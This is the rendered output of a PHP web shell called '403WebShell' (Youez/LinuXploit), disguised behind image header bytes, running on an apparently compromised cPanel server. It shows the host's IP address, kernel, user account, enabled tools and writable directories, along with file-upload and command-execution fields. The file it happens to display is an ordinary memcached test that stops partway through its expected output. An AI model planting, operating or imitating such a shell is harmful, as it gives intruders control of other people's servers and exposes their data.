����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.148.192.125
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cpanel/ea-php80/root/usr/share/tests/pecl/memcached/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cpanel/ea-php80/root/usr/share/tests/pecl/memcached/tests/invoke_callback_2.phpt
--TEST--
Use callback initializer
--SKIPIF--
<?php include "skipif.inc";?>
--FILE--
<?php 

$arg = 'callback_arg';
$id = 'my_persistent_id';

function init_cb($m, $id) {
	var_dump(get_class($m));
	var_dump($m->isPersistent());
	var_dump($id);
}

function init_cb_fail($m, $id) {
	echo "configured, should not be called.\n";
}

function init_cb_arg($m, $id) {
	var_dump(func_num_args());
	var_dump($id);
}

function init_nopersist_cb($m, $id) {
	var_dump($m->isPersistent());
	var_dump($id);
}

class Foo extends Memcached {
	function __construct($id = null) {
		parent::__construct($id, array($this, 'init'));
	}

	function init($obj, $id) {
		var_dump(func_num_args());
		var_dump($this->isPristine());
		var_dump($this->isPersistent());
		var_dump($id);
	}
}

echo "cb call\n";
$m1 = new Memcached('foo1', 'init_cb');

echo "cb not run\n";
$m1 = new Memcached('foo1', 'init_cb_fail');

echo "cb arg without arg\n";
$m1 = new Memcached('foo3', 'init_cb_arg');

echo "cb arg not persistent\n";
$m1 = new Memcached(null, 'init_nopersist_cb');

echo "cb in object\n";
$m1 = new Foo();

echo "cb persistent in object\n";
$m1 = new Foo('baz');

echo "cb second persistent in object\n";
$m1 = new Foo('baz');
?>
--EXPECT--
cb call
string(9) "Memcached"
bool(true)
string(4) "foo1"
cb not run
cb arg without arg
int(2)
string(4) "foo3"
cb arg not persistent
bool(false)
NULL
cb in object
int(2)
bool(true)
bool(false)
NULL
cb persistent in object
int(2)
bool(true)
bool(true)
string(3) "baz"
cb second persistent in object

Youez - 2016 - github.com/yon3zu
LinuXploit